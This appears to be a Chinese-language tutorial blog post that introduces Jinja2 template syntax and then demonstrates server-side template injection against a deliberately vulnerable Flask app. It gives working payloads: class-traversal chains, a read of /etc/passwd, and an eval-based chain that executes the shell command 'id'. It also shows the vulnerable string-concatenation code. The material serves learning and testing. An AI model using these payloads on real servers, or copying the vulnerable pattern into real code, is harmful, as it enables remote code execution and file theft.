先入個門
個人感覺學SSTI注入之前,最好先學習一下python的沙盒繞過,兩個利用的地方比較類似。
Jimja2
Jinja2
是默認的仿Django
模板的一個模板引擎,由Flask
的作者開發。網上搜的語法2333,方便自己回顧
模板
{{ ... }}:裝載一個變量,模板渲染的時候,會使用傳進來的同名參數這個變量代表的值替換掉。
{% ... %}:裝載一個控制語句。
{# ... #}:裝載一個註釋,模板渲染的時候會忽視這中間的值
變量
在模板中添加變量,可以使用(set)語句。
{% set name='xx' %}
with
語句來創建一個內部的作用域,將set
語句放在其中,這樣創建的變量只在with
代碼塊中才有效
{% with gg = 42 %}
{{ gg }}
{% endwith %}
if語句
{% if ken.sick %}
Ken is sick.
{% elif ken.dead %}
You killed Ken! You bastard!!!
{% else %}
Kenny looks okay --- so far
{% endif %}
for語句
{% for user in users %}
{{ user.username|e }}
{% endfor %}
遍歷
{% for key, value in <strong>my_dict.iteritems()</strong> %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
Jinja2中for循環內置常量
loop.index 當前迭代的索引(從1開始)
loop.index0 當前迭代的索引(從0開始)
loop.first 是否是第一次迭代,返回True/False
loop.last 是否是最後一次迭代,返回True/False
loop.length 序列的長度
注意:不可以使用continue和break表達式來控制循環的執行。
過濾器
過濾器是通過(|)符號進行使用的,例如:{{ name|length }}:將返回name的長度
類似於我們平常的的函數,他他這種應該就是內置函數,因爲它本身就含有很多過濾器
abs(value):返回一個數值的絕對值。示例:-1|abs
last(value):返回一個序列的最後一個元素。示例:names|last。
length(value):返回一個序列或者字典的長度。示例:names|length。
join(value,d=u''):將一個序列用d這個參數的值拼接成字符串。
int(value):將值轉換爲int類型。
float(value):將值轉換爲float類型。
lower(value):將字符串轉換爲小寫。
upper(value):將字符串轉換爲小寫
模板注入
簡單地說跟這種類型的注入跟一般的注入成因其實一樣,都是過分相信用戶的輸入導致的漏洞,這樣一來通過模板注入可以導致敏感信息泄露、代碼執行等諸多漏洞,這裏有一篇關於PHP的模板注入,寫的挺好,可以參考一下:https://www.freebuf.com/vuls/83999.html
,但這篇文章PHP 模版引擎 Twig 作爲例子,只是簡單介紹了一下XSS的相關漏洞,並沒有觸發更大的危害,但是常規的測試方法已經寫了出來,跟測試注入其實差不多,就是換了內容而已。
所以下面就自己搭個python的web環境,以危害更大的SSTI模板
注入作爲例子說明,這是app.py裏面的代碼內容
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
可以看得出來name參數直接以get方式獲取,直接拼接在Hello後面作爲模板,直接render,這很明顯name參數是可控的。問題也恰好是出在這。
當然這裏也是有XSS的
但是重點還是放在讀文件這一功能上,這也相當於直接RCE了,先要學習一下下面這幾個類,__mro__
以及__subclasses__
屬性,其實這裏有點像python沙盒繞過的構造方法23333.
__mro__
中的MRO(Method Resolution Order)代表着解析方法調用的順序,可以看看Python文檔中的介紹。它是每個對象元類的一個隱藏屬性,當進行內省時會忽略dir
輸出(see Objects/object.c at line 1812)
__subclasses__
屬性在這裏作爲一種方法被定義爲,對每個new-style class“爲它的直接子類維持一個弱引用列表”,之後“返回一個包含所有存活引用的列表”。
上面的這兩個屬性引用自這篇文章:https://www.freebuf.com/articles/web/98928.html
個人直接理解就是__mro__
會輸出當前對象所調用的全部類包括其父類,而__subclasses__
會輸出該類下所有的子類。OK,這樣就可以愉快的開始了
先來測試一下是否存在這個漏洞,輸入參數{{5*5}}hello
,明顯存在漏洞
首先我們要做的第一件事便是選擇一個new-style object用於訪問object
基類。可以簡單的使用''
,一個空字符串,str
對象類型。之後可以使用__mro__
屬性訪問對象的繼承類。將{{ ''.__class__.__mro__ }}
作爲payload注入到存在SSTI漏洞的頁面中
出現兩個類,選擇第二個object基類,並顯示該類下方的所有子類,注入{{ ''.__class__.__mro__[1].__subclasses__() }}
上面鏈接的文章裏面使用file類去進行對文件的讀寫操作,payload:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
,但是file方法在py3中已經不支持,只要找到可以執行代碼的函數或者其他讀文件的函數都可以,在vulhub上找到的另外一個適合py3的,利用了eval函數去實現RCE的功能,因爲執行語句去實現的,所以得用%括住。方法不止一種,找到對的繼承鏈就可以。
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
成功讀取根目錄下的文件
另外再拿
這東西只要找對繼承關係,而且繼承關係裏面的方法清楚的話就很快獲得效果,當然防範的話得從代碼層下手,永遠不要相信用戶的輸入就對了,對可控變量做好防禦XD
參考文章: